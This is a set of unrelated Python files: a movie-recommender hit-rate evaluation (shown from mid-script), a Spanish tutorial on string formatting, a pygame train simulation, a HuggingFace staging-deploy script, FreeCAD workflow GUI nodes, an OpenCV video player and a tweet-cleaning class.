for r_pid_test in top_prods:
	item_sim_dict[r_pid_test] = bfs_rank(r_pid_test, G)
	print('排名：',r_pid_test,item_sim_dict[r_pid_test][:10])

#测试命中率

# data_test = pd.read_excel('data_test.xlsx',engine='openpyxl')
data_test = data_test[data_test['label']==1]

data_test['1_num'] = data_test.groupby('user_id')["label"].transform('count')
data_test = data_test[(data_test['1_num']>1)]
del data_test['1_num']

test_list = []

def get_test(x):
  a = x.values[0]
  b = x.values[1]
  test_list.append((a,b))
tmp = data_test.groupby('user_id')["movie_id"].apply(get_test)
product_list = list(data_train['movie_id'].unique())

# f1 = open('./item_bfs_sim.pk', 'rb')
# item_cf_sim = pickle.load(f1)
item_cf_sim = item_sim_dict

test_num = 0

#使用cf算法选商品
cf1_num = 0
cf3_num = 0

#随机选商品
ramdom1_num = 0
ramdom3_num = 0

#选热品
hot1_num = 0
hot3_num = 0
hot_list = []
hot_movie = []
for movie_id in product_list:
	num_all = data_train[data_train['movie_id']==movie_id].shape[0]
	num_1 = data_train[(data_train['movie_id'] == movie_id)&(data_train['label'] == 1)].shape[0]
	rate = 0
	if num_1>0:
		rate = num_1/(num_all+10)
	hot_list.append((movie_id,rate))
hot_list.sort(key=takeSecond,reverse=True)
hot_movie = [ x[0] for x in hot_list ][:3]

##开始测试
result_cf = []
result_hot = []
for (a,b) in test_list:
	if a in item_cf_sim:

		test_num+=1
		#CF测试
		top3 = [x[0] for x in item_cf_sim[a][:3]]
		if b in [top3[0]]:
			cf1_num += 1
			result_cf.append(b)
		if b in top3:
			cf3_num += 1

        #随机测试
		ramdom_chose = random.sample(product_list, 3)
		if b in [ramdom_chose[0]]:
			ramdom1_num += 1
		if b in ramdom_chose:
			ramdom3_num += 1

		#热品测试
		if b in [hot_movie[0]] :
			hot1_num += 1
			result_hot.append(b)
		if b in hot_movie:
			hot3_num += 1

hit1_rate = round(cf1_num/test_num,4)
hit3_rate = round(cf3_num/test_num,4)
print('######item_bfs: hit1_rate=',hit1_rate,' hit3_rate=',hit3_rate)

hit1_rate = round(ramdom1_num/test_num,4)
hit3_rate = round(ramdom3_num/test_num,4)
print('######ramdom: hit1_rate=',hit1_rate,' hit3_rate=',hit3_rate)

hit1_rate = round(hot1_num/test_num,4)
hit3_rate = round(hot3_num/test_num,4)
print('######hot: hit1_rate=',hit1_rate,' hit3_rate=',hit3_rate)

'''
['movie_id', 'year', 'age','gender']
######item_bfs_属性: hit1_rate= 0.1611  hit3_rate= 0.3222
######ramdom: hit1_rate= 0.0056  hit3_rate= 0.0111
######hot: hit1_rate= 0.1444  hit3_rate= 0.2444

######item_bfs: hit1_rate= 0.1285  hit3_rate= 0.1844
######ramdom: hit1_rate= 0.0112  hit3_rate= 0.0223
######hot: hit1_rate= 0.1453  hit3_rate= 0.2458

'''

print('123')


#!/usr/bin/env python
# coding: utf-8

# # Formatos de cadenas.
#
# En esta sección se explica el método `str.format()` y las "f-strings" que permiten darle un formato personalizado a las cadenas e incluir de manera dinámica variables en la cadena.
#
# ```{important} Existen otros métodos para hacer lo mismo como los `string.Template` o usando el operador `%`, pero no se cubrirán en esta página.
# ```

# ## str.format

# Es un método que sirve para imprimir valores de variables en algún formato en específico. Para ello en la cadena se deben especificar campos delimitados por corchetes `{}` donde irán los valores.
#
# `str.format()`: Da formato a una cadena.
# ```python
# X.format(*args, **kwargs)
# ```
# **Parámetros:**:
# - `*args`: Valores o variables a reemplazar en la cadena. Se puede incluir cualquier tipo de objeto que se pueda imprimir, el valor mostrado será el mismo que el del método `__str__()` o `__repr__()` de la clase del objeto.
#
# **Retorna:**
# - `str`.
#
# **Ejemplo:**

# In[1]:

x = "World!"
print("Hello {0}".format(x))

# ---
# ### Uso
#
# Existen tres formas principales de usar este método:
#
# **índices**
#
# - Dentro de la cadena se puede usar `{0}`, `{1}`, `{2}`, …, que serviría para indicar que se empaten por el índice correspondiente con los argumentos de `str.format()`.
# - Se puede poner más de una vez algún índice `{i}`, de manera que lo imprima más de una vez en una misma cadena. - - Los índice comienzan en cero.
# - Si no se indican los índices se empatan por posición los argumentos y los campos `{}`, pero el número de corchetes debe ser igual al número de argumentos.
#
# Ejemplos:

# In[2]:

x1 = "texto"
x2 = 10.0
x3 = True
cadena = "Una cadena: {}\nun número: {}\nun valor booleano: {}"
print(cadena.format(x1, x2, x3))

# ---
# **nombres**
#
# - En la cadena, los campos `{}` deben de tener nombres los cuales se deben especificar en `str.format()` como par  `name=val`.
#
# Ejemplo:

# In[3]:

x1 = "texto"
x2 = 10.0
x3 = True
cadena = "Una cadena: {string}\nun número: {number}\nun valor booleano: {boolean}"
print(cadena.format(string=x1, number=x2, boolean=x3))

# ---
# **diccionario**
#
# - El argumento de `str.format()` es un diccionario y en los campos `{}` se accede a los valores del diccionario recuperando el valor con los nombres de las llaves del diccionario.
# - Los nombres de las llaves dentro de la cadena no se deben de poner entre comillas.
#
# Ejemplo:

# In[4]:

my_dict = {"string": "texto", "number": 10.0, "boolean": True}
cadena = "Una cadena: {x[string]}\nun número: {x[number]}\nun valor booleano: {x[boolean]}"
print(cadena.format(x=my_dict))

# ---
# ## f-strings
#
# Es una alternativa al método `str.format()`, está disponible en Python 3.6+. Requiere una sintaxis más sencilla y es más rápida, para ello se agrega el prefijo `f` a una cadena:
#
# **Sintaxis**:
# ```python
#     f"text ... {expression} .."
# ```
#
# **Parámetros:**
# - expression: Es un valor, un objeto o incluso funciones y/o métodos que retornen un objeto imprimible. El valor mostrado será el mismo que el del método `__str__()` o `__repr__()` de la clase del objeto.
#
# **Ejemplo:**

# In[5]:

x=10.0
y=True
f"Esto es un número {x} y esto un valor booleano {y}"

# Se puede relaizar una conversión en la cadena, algunas conversiones disponibles son:
# - `!s`: Version en cadena.
# - `!r`: Cadena en versión imprimible, es decir, entre comillas, (solo funciona si la expresión es `str`).
# - `!a`: Como `!r` pero ignora los caracteres non-ASCII.
#
# **Ejemplos:**

# In[6]:

x = 10
y = "texto"
print(f"Convertir a cadena {x!s}")
print(f"Texto entre comillas: {y!r}")

# **Formatos**
#
# Para dar formatos, se utiliza dos puntos y el formato que se quiere dar:
# ```python
# 	f"text ... {expression:format}"
# ```
# -  format : Es el formato que se quiere dar. Revisar formatos de cadenas.
#
# **Ejemplo**:

# In[7]:

x = 1897.9876
print(f"Sin formato: {x}")
print(f"Separar los miles: {x:,}")
print(f"Notación científica con 1 décimal: {x:.1e}")
print(f"Con tres décimales (redondea) {x:.3f}")
print(f"Combinación de separación de miles y 2 décimales:{x:,.2f}")

# In[ ]:


import time
import sys

import pygame

import track
import train
import controller
import constants

if __name__ == "__main__":
    # Get command line argument
    simulationType = sys.argv[1]

    # Init pygame
    pygame.init()
    width = 1800
    height = 720
    screen = pygame.display.set_mode((width, height))
    pygame.display.set_caption("TrainHive Simulation")
    clock = pygame.time.Clock()

    # Init Controller
    controller = controller.Controller(screen)
    controller.addTrack(pygame.math.Vector2(int(100), int(height / 2)), constants.TRACK)

    if simulationType == constants.ARG_CONV:
        print("Starte konventionelle Simulation")
        controller.addTrain(
            controller.track,
            constants.TRACK_BEGIN,
            constants.TRACK_END,
            "./res/train_red.png",
            "Zug Rot",
            2,
        )
        controller.addTrain(
            controller.track,
            constants.TRACK_END,
            constants.TRACK_BEGIN,
            "./res/train_green.png",
            "Zug Grün",
            3,
        )
        controller.addTrain(
            controller.track,
            constants.TRACK_END - 1,
            constants.TRACK_BEGIN,
            "./res/train_blue.png",
            "Zug Blau",
            1,
        )
    elif simulationType == constants.ARG_NEW:
        controller.addNewTrain(
            controller.track,
            constants.TRACK_BEGIN,
            constants.TRACK_END,
            constants.IMG_CITYJET,
            "CityJet",
            constants.REGIONAL_EXPRESS,
            2,
        )
        controller.addNewTrain(
            controller.track,
            constants.TRACK_END,
            constants.TRACK_BEGIN,
            constants.IMG_RAILJET,
            "RailJet",
            constants.RAIL_JET,
            3,
        )
        controller.addNewTrain(
            controller.track,
            constants.TRACK_END - 1,
            constants.TRACK_BEGIN,
            constants.IMG_BUS,
            "Regional Zug",
            constants.REGIONAL_ZUG,
            1,
        )
        print("Starte 'new concept' Simulation")
    else:
        quit()

    controller.start()

    # Worker loop
    done = False
    while not done:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                done = True

        # fill the screen
        screen.fill((230, 230, 230))

        # Do updates
        controller.update()

        # Draw stuff
        controller.draw()

        pygame.display.update()
        pygame.display.flip()

        clock.tick(60)

    pygame.quit()


"""Deploy local data to a HuggingFace space.

This is used for PR demos during development.

Usage:

poetry run python -m scripts.deploy_staging

Args:
  --hf_space: The huggingface space. Defaults to env.HF_STAGING_DEMO_REPO. Should be formatted like
    `SPACE_ORG/SPACE_NAME`.
  --dataset: [Repeated] The name of a dataset to upload. When not defined, no datasets are uploaded.
  --concept: [Repeated] The name of a concept to upload. When not defined, no local concepts are
    uploaded.
  --skip_ts_build: Skip building the web server TypeScript. Useful to speed up the build if you are
    only changing python or data.
  --skip_cache: Skip uploading the cache files from .cache/lilac which contain cached concept pkl
    files.
  --skip_data_upload: When true, only uploads the wheel + ts files without any other changes.
  --create_space: When true, creates the space if it doesn't exist.

"""

import os
import shutil
import subprocess
from typing import Optional, Union

import click
from huggingface_hub import CommitOperationAdd, CommitOperationDelete, HfApi
from lilac.deploy import PY_DIST_DIR, deploy_project_operations
from lilac.env import env
from lilac.utils import log

@click.command()
@click.option(
  '--hf_space',
  help='The huggingface space. Defaults to env.HF_STAGING_DEMO_REPO. '
  'Should be formatted like `SPACE_ORG/SPACE_NAME`.',
  type=str,
)
@click.option('--dataset', help='The name of a dataset to upload', type=str, multiple=True)
@click.option(
  '--concept',
  help='The name of a concept to upload. By default all lilac/ concepts are uploaded.',
  type=str,
  multiple=True,
)
@click.option(
  '--skip_ts_build',
  help='Skip building the web server TypeScript. '
  'Useful to speed up the build if you are only changing python or data.',
  type=bool,
  is_flag=True,
  default=False,
)
@click.option(
  '--skip_cache_upload',
  help='Skip uploading the cache files from .cache/lilac which contain cached concept pkl models.',
  type=bool,
  is_flag=True,
  default=False,
)
@click.option(
  '--create_space',
  help='When True, creates the HuggingFace space if it doesnt exist. The space will be created '
  'with the storage type defined by --hf_space_storage.',
  is_flag=True,
  default=False,
)
@click.option(
  '--skip_data_upload',
  help='When true, only uploads the wheel files without any other changes.',
  is_flag=True,
  default=False,
)
def deploy_staging(
  hf_space: Optional[str] = None,
  dataset: Optional[list[str]] = None,
  concept: Optional[list[str]] = None,
  skip_cache_upload: Optional[bool] = False,
  skip_ts_build: Optional[bool] = False,
  skip_data_upload: Optional[bool] = False,
  create_space: Optional[bool] = False,
) -> None:
  """Generate the huggingface space app."""
  hf_space = hf_space or env('HF_STAGING_DEMO_REPO')
  if not hf_space:
    raise ValueError('Must specify --hf_space or set env.HF_STAGING_DEMO_REPO')

  operations: list[Union[CommitOperationDelete, CommitOperationAdd]] = []

  hf_api = HfApi(token=env('HF_ACCESS_TOKEN'))

  ##
  ##  Build the web server Svelte & TypeScript.
  ##
  if not skip_ts_build:
    log('Building webserver...')
    run('./scripts/build_server_prod.sh')

  # When datasets are not defined, don't upload any datasets.
  if dataset is None:
    dataset = []
  # When concepts are not defined, don't upload any concepts.
  if concept is None:
    concept = []

  operations.extend(
    deploy_project_operations(
      hf_api,
      # For local deployments, we hard-code the 'data' dir.
      project_dir='data',
      hf_space=hf_space,
      datasets=dataset,
      concepts=concept,
      skip_cache_upload=skip_cache_upload,
      # Never make datasets public when uploading locally.
      make_datasets_public=False,
      skip_data_upload=skip_data_upload,
      hf_space_storage=None,
      create_space=create_space,
    )
  )

  # Unconditionally remove dist. dist is unconditionally uploaded so it is empty when using
  # the public package.
  if os.path.exists(PY_DIST_DIR):
    shutil.rmtree(PY_DIST_DIR)
  os.makedirs(PY_DIST_DIR, exist_ok=True)

  # Build the wheel for pip.
  # We have to change the version to a dev version so that the huggingface demo does not try to
  # install the public pip package.
  current_lilac_version = run('poetry version -s', capture_output=True).stdout.strip()
  # Bump the version to something extremely large so we never accidentally install the same version
  # when a bump happens.
  temp_new_version = '1337.0.0'

  run(f'poetry version "{temp_new_version}"')
  run('poetry build -f wheel')
  run(f'poetry version "{current_lilac_version}"')

  for upload_file in os.listdir(PY_DIST_DIR):
    operations.append(
      CommitOperationAdd(
        path_in_repo=os.path.join(PY_DIST_DIR, upload_file),
        path_or_fileobj=os.path.join(PY_DIST_DIR, upload_file),
      )
    )

  # Atomically commit all the operations so we don't kick the server multiple times.
  hf_api.create_commit(
    repo_id=hf_space,
    repo_type='space',
    operations=operations,
    commit_message='Push to HF space',
  )

  log(f'Done! View your space at https://huggingface.co/spaces/{hf_space}')

def run(cmd: str, capture_output=False) -> subprocess.CompletedProcess[str]:
  """Run a command and return the result."""
  return subprocess.run(cmd, shell=True, check=True, capture_output=capture_output, text=True)

if __name__ == '__main__':
  deploy_staging()


# import FreeCAD modules
import FreeCAD, FreeCADGui, WebGui
if FreeCAD.GuiUp:
    import FreeCADGui
    from PySide import QtCore

    import PySide
    from PySide import QtGui, QtCore
    from PySide.QtGui import *
    from PySide.QtCore import *

# python modules
from PyQt5 import QtGui,QtCore
import json
import pydoc
import os
import sys
import copy

# Hermes modules
# from hermes.Resources.workbench.HermesNode import WebGuiNode
from ..HermesNode import WebGuiNode, HermesNode
# from ... import HermesNode

# =============================================================================
# CopyDirectory
# =============================================================================
class CopyDirectory(WebGuiNode):
    def __init__(self, obj, nodeId, nodeData, name):
        super().__init__(obj, nodeId, nodeData, name)

    def guiToExecute(self, obj):
        ''' convert the json data to "input_parameters" structure '''

        parameters = dict()
        parameters["Source"] = obj.Source
        parameters["Target"] = obj.Target
        parameters["dirs_exist_ok"] = obj.dirs_exist_ok

        return parameters

# =============================================================================
# CopyFile
# =============================================================================
class CopyFile(WebGuiNode):
    def __init__(self, obj, nodeId, nodeData, name):
        super().__init__(obj, nodeId, nodeData, name)

    def guiToExecute(self, obj):
        ''' convert the json data to "input_parameters" structure '''

        parameters = dict()
        parameters["Source"] = obj.Source
        parameters["Target"] = obj.Target

        return parameters

# =============================================================================
# RunOsCommand
# =============================================================================
class RunOsCommand(WebGuiNode):
    def __init__(self, obj, nodeId, nodeData, name):
        super().__init__(obj, nodeId, nodeData, name)

    def initializeFromJson(self, obj):
        '''
            Takes the properties from JSON and update its value
             at the FreeCAD object
        '''
        super().initializeFromJson(obj)

        # get the choosen methon
        method = getattr(obj, "ChooseMethod")

        # make read only the property that hasnt been choosen
        if method == "Commands list":
            obj.setEditorMode("batchFile", 1)  # Make read-only
        elif method == "batchFile":
            obj.setEditorMode("Commands", 1)  # Make read-only

    def guiToExecute(self, obj):
        ''' convert the json data to "input_parameters" structure '''

        parameters = dict()
        parameters["Method"] = obj.ChooseMethod

        method = getattr(obj, "ChooseMethod")

        # take the choosen property to the input_parameters command
        if method == "Commands list":
            parameters["Command"] = obj.Commands
        elif method == "batchFile":
            parameters["Command"] = obj.batchFile

        return parameters

# =============================================================================
# RunPythonCode
# =============================================================================
class RunPythonCode(WebGuiNode):
    def __init__(self, obj, nodeId, nodeData, name):
        super().__init__(obj, nodeId, nodeData, name)

    def guiToExecute(self, obj):
        ''' convert the json data to "input_parameters" structure '''

        parameters = dict()
        parameters["ModulePath"] = obj.ModulePath
        parameters["ClassName"] = obj.ClassName
        parameters["MethodName"] = obj.MethodName
        if "formData" in self.nodeData["WebGui"]:
            parameters["Parameters"] = self.nodeData["WebGui"]["formData"]

        return parameters


import cv2
cap = cv2.VideoCapture('C:\\Users\\Admin\\Videos\\test.mp4')
while(cap.isOpened()):
    ret,frame = cap.read()
    print(cap.read())
    if ret==True:
        cv2.imshow('a',frame)
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break
    else:
        print('视频不存在')
        break
cap.release()
cv2.destroyAllWindows()


import re
#import html
#import itertools

class TweetCleaner:
    """ Preprocessing tweets for modeling stage:
            STEP 1: Standardizing: capitalization
            STEP 2: Removing noise: HTTP links
            STEP 3: Removing noise: Escaping HTML characters
            STEP 4: Standardizing: punctuation
            STEP 5/8: Removing noise: Removing blank characters """

    def __init__(self, input):
        self.input = input

    def cleanup(self):
        step1 = [self.input[i].lower() for i in range(len(self.input))]
        step2 = [re.sub(r'http\S+', '', step1[i]) for i in range(len(step1))]
        step3 = [re.sub(r'&\S+', '', step2[i]) for i in range(len(step2))]
        step4 = [re.sub(r'[^\w\s\'&@#]', '', step3[i]) for i in range(len(step3))]
        step5 = [re.sub(r'[\n\xa0]', '', step4[i]) for i in range(len(step4))]
        step6 = [re.sub(r'\s{2,}', ' ', step5[i]) for i in range(len(step5))]
        step7 = [re.sub(r'^\s+', '', step6[i]) for i in range(len(step6))]
        step8 = [re.sub(r'\s+$', '', step7[i]) for i in range(len(step7))]
        return step8

    # STEP 5: Feature selection: tokenization as "bag of words"
    def getbow(self):
        tokens = [self.input[i].split() for i in range(len(self.input))]
        tokens2 = [i for j in tokens for i in j]
        wordfreq = [(x,tokens2.count(x)) for x in set(tokens2)]
        return sorted(wordfreq, key = lambda x: -x[1])

    # STEP 6: Feature selection: hashtags and user tags
    def gethashtags(self):
        hashtags = re.findall(r'#\w+', str(self.input))
        tagfreq = [(x, hashtags.count(x)) for x in set(hashtags)]
        return sorted(tagfreq, key = lambda x: -x[1])

#usertags = re.findall(r'@\w+', str(self.input))

#test = cleanTweet(sample).cleanup()
#sample = [' jesus  likes potato , i dont, period']

'''
# STEP X: Standardizing words (NOT WORKING)
step3 = [".join(".join(s)[:2] for _, s in itertools.groupby(step2[i])) for i in range(len(step2))]

# STEP X: Decoding data (Error: 'str' object has no attribute 'decode')
step2 = [step1[i].decode("utf8").encode('ascii','ignore') \
    for i in range(len(step1))]
print (step2[0])

# STEP X: Splitting attached words (working, but it ruins acronyms)
step4 = [" ".join(re.findall('[A-Z][^A-Z]*', step3[i])) for i in range(len(step3))]
print(step4[0])

'''